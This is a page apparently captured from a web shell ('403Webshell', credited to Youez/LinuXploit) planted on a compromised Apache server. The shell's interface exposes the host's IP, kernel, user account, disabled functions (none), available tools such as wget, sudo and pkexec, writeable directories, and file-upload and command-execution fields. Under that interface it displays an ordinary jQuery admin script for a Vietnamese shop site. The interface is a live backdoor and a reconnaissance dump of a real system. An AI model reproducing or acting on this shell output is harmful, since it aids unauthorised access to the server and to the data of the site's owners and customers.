403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/cannguyenlong.com-bk/public_html/webadmin/templates/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/cannguyenlong.com-bk/public_html/webadmin/templates/js/ui.js
$(document).ready(function() {
    $("#adminformproduct").validate({ 
        rules: {
           ProductName:{required:true}, 
           Alias:{required:true}, 
           Price:{required:true} 
        },
        message:{
            ProductName:{required: "Vui lòng nhập tên sản phẩm"},
            Alias:{required: "Mã trên link không được để trống"},
            Price:{required: "Vui lòng nhập giá sản phẩm"}
        }   
    }); 
});
$(document).ready(function(){
    //KHai bao cho lightbox
    $("a[rel='imgbox']").colorbox();
    $("a[rel='urlbox']").colorbox({width:"80%", height:"80%", iframe:true});
    $("a[rel='inlinebox']").each(function(i){
        $(this).colorbox({width:"730", height:"500", iframe:true});
    });
    $("a[rel='inlineboxnowidth']").each(function(i){
        $(this).colorbox({inline:true, href:'.inline_content:eq('+i+')'});
    });
    
    //khai bao cho hieu ung hover icon RSS, Color chart, English
    $('div.float_icon a').mouseover(function() {
        $(this).animate( { backgroundPosition: '0px 0px' }, 600);
    }).mouseout(function() {
        $(this).animate( { backgroundPosition: '-9px 0px' }, 600);
    });
    
});

 function update(id){
    $("#update_catnews"+id).colorbox({
        width:"600", height:"350", iframe:true,
        onClosed:function(){ location.reload(); }
    });                               
 }

 function printer(){
    $("#printer").colorbox({
        width:"1000", height:"600", iframe:true
    });                               
 } 
 
 function updatequantri(id){
    $("#updatequantri"+id).colorbox({
        width:"400", height:"450", iframe:true,
        onClosed:function(){ location.reload(); }
    });                               
 }
jQuery(function($) {
    $("#addimages").colorbox({
        width:"730", height:"500", iframe:true     
    });
	$(".popupbox").colorbox({
        width:"730", height:"500", iframe:true     
    });
});
function view(id){
    $("#view"+id).colorbox({
        width:"800", height:"500", iframe:true
    });                               
 }
 
 function change_price(id){
             $('#'+id).blur(function() {
                $(this).formatCurrency({ colorize: true, roundToDecimalPlace: 0 });
            })
            .keyup(function(e) {
                var e = window.event || e;
                var keyUnicode = e.charCode || e.keyCode;
                if (e !== undefined) {
                    switch (keyUnicode) {
                        case 16: break; // Shift
                        case 17: break; // Ctrl
                        case 18: break; // Alt
                        case 27: this.value = ''; break; // Esc: clear entry
                        case 35: break; // End
                        case 36: break; // Home
                        case 37: break; // cursor left
                        case 38: break; // cursor up
                        case 39: break; // cursor right
                        case 40: break; // cursor down
                        case 78: break; // N (Opera 9.63+ maps the "." from the number key section to the "N" key too!) (See: http://unixpapa.com/js/key.html search for ". Del")
                        case 110: break; // . number block (Opera 9.63+ maps the "." from the number block to the "N" key (78) !!!)
                        case 190: break; // .
                        default: $(this).formatCurrency({ colorize: true, negativeFormat: '%%n', roundToDecimalPlace: -1, eventOnDecimalsEntered: true });
                    }
                }
            })
 }
function get_district(value,elm){    
        if(value!=0)
        {
            $.post(url+"order/get_district",{cityid  : value},function (data) {
                    if(data!=''){
                        $("#"+elm).html(data.listcity);
                    }else{
                        $("#"+elm).html("<option value=\"0\">Chọn Quận/ Huyện</option>");   
                    }
                },'json'
            );                       
        }else{
            $("#"+elm).html("<option value=\"0\">Chọn Quận/ Huyện</option>");
        }   
}

function get_district_gb(value,elm){    
        if(value!=0)
        {
            $.post(url+"donhang/get_district",{cityid  : value},function (data) {
                    if(data!=''){
                        $("#"+elm).html(data.listcity);
                    }else{
                        $("#"+elm).html("<option value=\"0\">Chọn Quận/ Huyện</option>");   
                    }
                },'json'
            );                       
        }else{
            $("#"+elm).html("<option value=\"0\">Chọn Quận/ Huyện</option>");
        }   
}

Youez - 2016 - github.com/yon3zu
LinuXploit